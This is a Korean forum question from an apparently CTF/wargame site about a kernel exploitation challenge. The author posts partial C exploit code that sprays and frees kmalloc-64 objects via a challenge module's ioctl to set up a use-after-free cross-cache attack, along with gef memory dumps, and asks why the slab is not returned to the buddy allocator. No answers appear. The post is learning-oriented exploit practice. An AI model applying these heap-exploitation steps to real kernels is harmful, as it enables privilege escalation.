대기중
5 코인 커널 익스 질문

해당 문제를 Cross-Cache Attack이란 기법으로 접근해 보고자(https://velog.io/@marchen/Cross-Cache-Attack) 해당 문제 모듈의 ioctl을 사용해 슬랩 하나를 64크기의 객체로 가득 채운후 전부 해제해서 해당 슬랩이 버디 할당자로 넘어가게 하는 코드를 짜보았습니다.
struct argument {
unsigned long idx;
unsigned long buf[8];
};
int main(){
struct argument *arg;

arg = malloc(sizeof(struct argument));

save_state();
bind_core(0);

int fd = open("/dev/serendipity", O_RDWR);
int i;
puts("[+] Spraying objects...");
for(int i = 0; i < (64 * 5) - 31 + 5; i++){
    arg->idx = i + 1;
    memset(arg->buf, 'A', sizeof(arg->buf));
    ioctl(fd, ALLOC, arg);
    if( i == 64 * 4 )
    {
        puts("[+] Getting a Dangling Pointer...");
        arg->idx = 0;
        memset(arg->buf, 'B', sizeof(arg->buf));
        ioctl(fd, ALLOC, arg);

        arg->idx = 0;
        memset(arg->buf, 'B', sizeof(arg->buf));
        ioctl(fd, UAF, arg);
    }
}    
getchar();
puts("[+] Releasing objects...");

for(int i = 0; i < (64 * 5) - 31 + 5; i++){
    arg->idx = i + 1;
    memset(arg->buf, 'A', sizeof(arg->buf));
    ioctl(fd, FREE, arg);
} 

getchar();
(64 * 5) - 31 + 5 이란 갯수는 gef로 커널을 직접 들여다보며 실험적으로 구한 값이고 kmalloc_large에 중단점을 걸어서 할당 객체들의 포인터 배열의 위치를 구하고 해당 배열의 0번째 인덱스에 dangling pointer를 삽입한 뒤 한 페이지 내의 객체를 전부 해제시켜버리는 코드입니다. gef로 까본 결과는 다음과 같았습니다. 

<객체들 해제 전>
gef> x/10gx 0xffff888003000000 <- 배열의 주소
0xffff888003000000: 0xffff88800314f700<-0번째0xffff888002e52700
0xffff888003000010: 0xffff888002e52800 0xffff888002e52840
0xffff888003000020: 0xffff888002e52880 0xffff888002e528c0
0xffff888003000030: 0xffff888002e52900 0xffff888002e52940
0xffff888003000040: 0xffff888002e52980 0xffff888002e529c0
gef> slab-contains 0xffff88800314f700
[+] Wait for memory scan
slab: 0xffffea00000c53c0
kmem_cache: 0xffff888002441500
base: 0xffff88800314f000
name: kmalloc-64 size: 0x40 num_pages: 0x1 <-kmem_cache
<객체들 해제 후>
gef> x/10gx 0xffff888003000000
0xffff888003000000: 0xffff88800314f700<-dangling pointer 0x0000000000000000
0xffff888003000010: 0x0000000000000000 0x0000000000000000
0xffff888003000020: 0x0000000000000000 0x0000000000000000
0xffff888003000030: 0x0000000000000000 0x0000000000000000
0xffff888003000040: 0x0000000000000000 0x0000000000000000
gef> slab-contains 0xffff88800314f700
[+] Wait for memory scan
slab: 0xffffea00000c53c0
kmem_cache: 0xffff888002441500
base: 0xffff88800314f000
name: kmalloc-64 size: 0x40 num_pages: 0x1 <- 여전히 kmalloc-64, buddy 할당자에게 반환이 안됨.
<dangling pointer가 가르키는 슬랩 내부>
gef> x/512gx 0xffff88800314f000
0xffff88800314f000: 0x4141414141414141 0x4141414141414141<- A로 전부 채워짐
0xffff88800314f010: 0x4141414141414141 0x4141414141414141
0xffff88800314f020: 0x0000000000000000<-freelist 끝0x4141414141414141
0xffff88800314f030: 0x4141414141414141 0x4141414141414141<- 64바이트의 크기
....중략
0xffff88800314ffc0: 0x4141414141414141 0x4141414141414141
0xffff88800314ffd0: 0x4141414141414141 0x4141414141414141
0xffff88800314ffe0: 0xffff88800314ff80<-next 0x4141414141414141
0xffff88800314fff0: 0x4141414141414141 0x4141414141414141

dangling pointer가 가르키는 객체가 속한 슬랩은 전부 ioctl로 할당한 객체로 채워져있었고 모두 해제되었다는 것 또한 확인했습다. 그런데 버디 할당자로 반환이 안되는 것을 보아 하니 버디 할당자로 반환되기 위한 조건이 해당 슬랩 내부의 모든 객체의 해제 상태 이외에 더 필요한 조건이나 경우가 있나요?

또한 Cross Cache Attack을 이용하는 것이 인텐이 아니라면 조언을 좀 부탁드립니다.

작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 0